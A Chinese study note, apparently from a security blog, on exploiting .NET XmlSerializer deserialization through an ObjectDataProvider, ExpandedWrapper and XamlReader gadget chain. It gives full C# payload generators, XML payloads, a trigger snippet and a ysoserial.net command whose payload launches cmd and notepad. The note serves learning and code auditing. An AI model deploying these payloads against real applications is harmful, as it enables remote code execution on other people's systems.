学习笔记-.net安全之XmlSerializer反序列化
0x00 简介
反序列化学习主要用到如下资料:
1..NET反序列化payload生成工具ysoserial.net。
2.attacking-net-serialization其中列举了多种反序列化漏洞。

3.BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
0x01 XmlSerializer序列化
System.Xml.Serialization.XmlSerializer类他可以将对象序列化到XML文档中和从XML文档中反序列化对象,在这个过程中构造XmlSerializer对象期间需要指定它将处理的类型XmlSerializer(Type)传入的Type也就是我们的重点关注对象,因为Type类,是用来包含类型的特性。类型信息包含数据,属性和方法等信息。如果我们传入一个特定的payload那么我们就可以调用他的方法了。
首先我们先熟悉一下XmlSerializer的序列化
code:1.0
namespace XmlSerializers
{
    class Program
    {
        static void Main(string[] args)
        {
            test fof = new test();
            fof.id = "404s";
            XmlSerializer xmlFormatter = new XmlSerializer(typeof(test));
            using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None))
            {
                xmlFormatter.Serialize(stream, fof);
            }
        }
    }
    [XmlRoot("test")]
    public class test
    {
        string _id = "404";
        [XmlElement]
        public string id {
            get { return _id; }
            set
            {
                _id = value;
            }
        }
    }
}
其中[XmlRoot("test")]指定的元素将被序列化成xml的根元素,[XmlElement]为指定类的公共域或读/写属性,具体可以参考.net序列化及反序列化。
404.xml
<?xml version="1.0"?>
<test xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <id>404s</id>
</test>
如果我们把这段代码换成如下:
code:1.1
namespace XmlSerializers
{
    class Program
    {
        static void Main(string[] args)
        {
            ExecCMD fof = new ExecCMD();
            fof.cmd = "cmd";
            XmlSerializer xmlFormatter = new XmlSerializer(typeof(ExecCMD));
            using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None))
            {
                xmlFormatter.Serialize(stream, fof);
            }
        }
    }
    [XmlRoot("ExecCMD")]
    public class ExecCMD
    {
        private String _cmd = "notepad";
        [XmlElement]
        public String cmd
        {
            get { return _cmd; }
            set
            {
                _cmd = value;
                ExecCommand();
            }
        }
        private void ExecCommand()
        {
            Process myProcess = new Process();
            myProcess.StartInfo.FileName = _cmd;
            myProcess.Start();
            myProcess.Dispose();
        }
    }
}
程序本意是调用notepad.exe,我们在序列化的过程中把_cmd的值改成cmd 然后序列化/反序列化他将调用CMD.EXE,当然实际是基本遇不到这种情况的。
404.xml
<?xml version="1.0"?>
<ExecCMD xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <cmd>cmd</cmd>
</ExecCMD>
0x01 XmlSerializer反序列化
前面说过构造XmlSerializer对象期间需要指定它将处理的类型XmlSerializer(Type),获取Type有一般有有3种方式:a.使用typeof运算符 b.使用GetType()方法 c.使用Type类的静态方法GetType()。
1.1 typeof运算符
我们把code:1.1中的Main函数换成如下
static void Main(string[] args)
{
    using (StringReader rdr = new StringReader("<?xml version=\"1.0\" encoding=\"gb2312\"?> <ExecCMD xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"> <cmd>cmd.exe</cmd> </ExecCMD>"))
    {
        ExecCMD execCMD;
        XmlSerializer serializer = new XmlSerializer(typeof(ExecCMD));
        execCMD = (ExecCMD)serializer.Deserialize(rdr);
        Console.WriteLine(execCMD.cmd);
        Console.WriteLine(typeof(ExecCMD));
    }
}
其中传入的XML就是code:1.1生成的404.xml运行程序看到如下:

1.2 GetType()方法
GetType()是基类System.Object的方法,因此只有建立一个实例之后才能够被调用

1.3 Type类的静态方法GetType(string)
相比前面的2种方法,Type.GetType(string) 允许传入自定义字符串,那么灵活性更高。

至此我们的利用链应该是:

这种方式还是比较被动,我们是否可以执行任意类的任意方法,这样我们的利用过程就更为主动,这里就要引入ObjectDataProvider类。
0x02 寻找利用链
2.0 ObjectDataProvider
ObjectDataProvider用于包装和创建可以用作绑定源的对象,听起来比较抽象,可以理解为可以调用一个方法,并且传入参数。
code 2.0
public static void test()
{
    ObjectDataProvider objectDataProvider = new ObjectDataProvider();
    objectDataProvider.ObjectInstance = new MyClasss();
    objectDataProvider.MethodName = "PullFile";
    objectDataProvider.MethodParameters.Add("cmd");
    XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) });
    TextWriter textWriter = new StreamWriter(@"data.xml");
    serializer1.Serialize(textWriter, objectDataProvider);
}
public class MyClasss
{
    public void PullFile(string _cmd)
    {
        Process myProcess = new Process();
        myProcess.StartInfo.FileName = _cmd;
        myProcess.Start();
        myProcess.Dispose();
    }
}

但是这样生产会报错,原因好像是XmlSerializer 序列化只会找他的基类,所以objectDataProvider.ObjectInstance = new MyClasss();这里就没办法找到,要解决这个问题可以用XmlSerializer(Type, Type[]) 或者用ExpandedWrapper预加载实体
2.0.1 XmlSerializer(Type, Type[])
code 2.1
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = new MyClasss();
objectDataProvider.MethodName = "PullFile";
objectDataProvider.MethodParameters.Add("cmd");
XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) });
TextWriter textWriter = new StreamWriter(@"data.xml");
serializer1.Serialize(textWriter, objectDataProvider);
data.xml
<?xml version="1.0" encoding="utf-8"?>
<ObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <ObjectInstance xsi:type="MyClasss" />
  <MethodName>PullFile</MethodName>
  <MethodParameters>
    <anyType xsi:type="xsd:string">cmd</anyType>
  </MethodParameters>
</ObjectDataProvider>
2.0.2 ExpandedWrapper预加载实体
code 2.2
ExpandedWrapper<MyClasss, ObjectDataProvider> myExpWrap = new ExpandedWrapper<MyClasss, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new MyClasss();
myExpWrap.ProjectedProperty0.MethodName = "PullFile";
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<MyClasss, ObjectDataProvider>));
TextWriter textWriter = new StreamWriter(@"data.xml");
serializer1.Serialize(textWriter, myExpWrap);
data.xml
<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfMyClasssObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <ProjectedProperty0>
    <ObjectInstance xsi:type="MyClasss" />
    <MethodName>PullFile</MethodName>
    <MethodParameters>
      <anyType xsi:type="xsd:string">cmd.exe</anyType>
    </MethodParameters>
  </ProjectedProperty0>
</ExpandedWrapperOfMyClasssObjectDataProvider>
反序列化触发:

至此我们已经可以使用ObjectDataProvider 调用引用类文件的方法了。但是MyClasss类也是我们自己设计的,在实际环境中可能还是不存在这种理想化模型,由于ObjectDataProvider可以调用Process.Start,但是不能直接序列化,所以我们需要找到一个途径来间接调用Process.Start。

2.1 XamlReader
XamlReader他有一个方法Parse(String) 是传入一个字符串,返回根对象,那么我们用ObjectDataProvider构造传参一个XAML,同时XAML的ObjectDataProvider调用Process.Start那么利用链就成功了。
2.2 ResourceDictionary
要生成XAML还需要引用ResourceDictionary类。
2.3 生成payload
code 2.3
public static void xaml_data()
{
    ObjectDataProvider objectDataProvider = new ObjectDataProvider();
    objectDataProvider.ObjectType = typeof(System.Diagnostics.Process);
    objectDataProvider.MethodParameters.Add("notepad.exe");
    objectDataProvider.MethodName = "Start";
    ResourceDictionary R_xaml = new ResourceDictionary();
    R_xaml.Add("test", objectDataProvider);
    string xaml_data;
    using (MemoryStream stream = new MemoryStream())
    {
        XamlServices.Save(stream, objectDataProvider);
        stream.Position = 0;
        StreamReader reader = new StreamReader(stream);
        xaml_data = reader.ReadToEnd();
        stream.Close();
    }
    Console.WriteLine(xaml_data);
}
public static void xml_payload()
{
    ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider> myExpWrap = new ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>();
    myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
    myExpWrap.ProjectedProperty0.ObjectInstance = new System.Windows.Markup.XamlReader();
    myExpWrap.ProjectedProperty0.MethodName = "Parse";
    myExpWrap.ProjectedProperty0.MethodParameters.Add(xaml_data());
    using (MemoryStream stream = new MemoryStream())
    {
        XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>));
        xml.Serialize(stream, myExpWrap);
        stream.Position = 0;
        StreamReader reader = new StreamReader(stream);
        Console.WriteLine(reader.ReadToEnd());
        Console.WriteLine(typeof(ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>).AssemblyQualifiedName);
    }
}
xaml_data() 生成XamlReader()调用的xaml文件,ObjectDataProvider调用XamlReader()传参xaml整个利用链的payload就完成了, typeof(ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>).AssemblyQualifiedName是获取程序集限定名,用于传入Type。
exp.xml
<?xml version="1.0"?>
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <ProjectedProperty0>
    <ObjectInstance xsi:type="XamlReader" />
    <MethodName>Parse</MethodName>
    <MethodParameters>
      <anyType xsi:type="xsd:string"><ObjectDataProvider MethodName="Start" ObjectType="sd:Process" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.MethodParameters>
    <x:String>notepad.exe</x:String>
  </ObjectDataProvider.MethodParameters>
</ObjectDataProvider></anyType>
    </MethodParameters>
  </ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
注:使用XamlReader等需要引用对应的模块
2.4 复现
code 2.4 反序列化
using (StringReader rdr = new StringReader("payload"))
{
    XmlSerializer serializer = new XmlSerializer(Type.GetType("System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"));
    serializer.Deserialize(rdr);
}

2.5 ysoserial.net
以上其实是ysoserial.net生成的payload反推。
ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "notepad.exe" -o raw
<?xml version="1.0"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
                        <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start">
                            <ObjectDataProvider.MethodParameters>
                                <System:String>cmd</System:String>
                                <System:String>/c notepad.exe</System:String>
                            </ObjectDataProvider.MethodParameters>
                        </ObjectDataProvider>
                    </ResourceDictionary>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
这里把payload分成2部分使用
Type
System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
XML
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedElement/>
<ProjectedProperty0>
    <MethodName>Parse</MethodName>
    <MethodParameters>
        <anyType  xsi:type="xsd:string">
            <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
                <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start">
                    <ObjectDataProvider.MethodParameters>
                        <System:String>cmd</System:String>
                        <System:String>/c notepad.exe</System:String>
                    </ObjectDataProvider.MethodParameters>
                </ObjectDataProvider>
            </ResourceDictionary>
        </anyType>
    </MethodParameters>
    <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
这里位于anyType的xmlns:xsi如果按照生成的payload使用会造成xsi是未声明的前缀,所以这里我把他提前到ExpandedWrapperOfXamlReaderObjectDataProvider 。
0x03 总结
.NET反序列化的攻击链还是比较难找。审计的话就看type 和 xml 这2个值是否可控。
文章如有错误,多多提醒,万分感谢
参考文章:
《.NET高级代码审计(第一课)XmlSerializer反序列化漏洞》

点击关注,共同学习!
安全狗的自我修养
 
                    
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号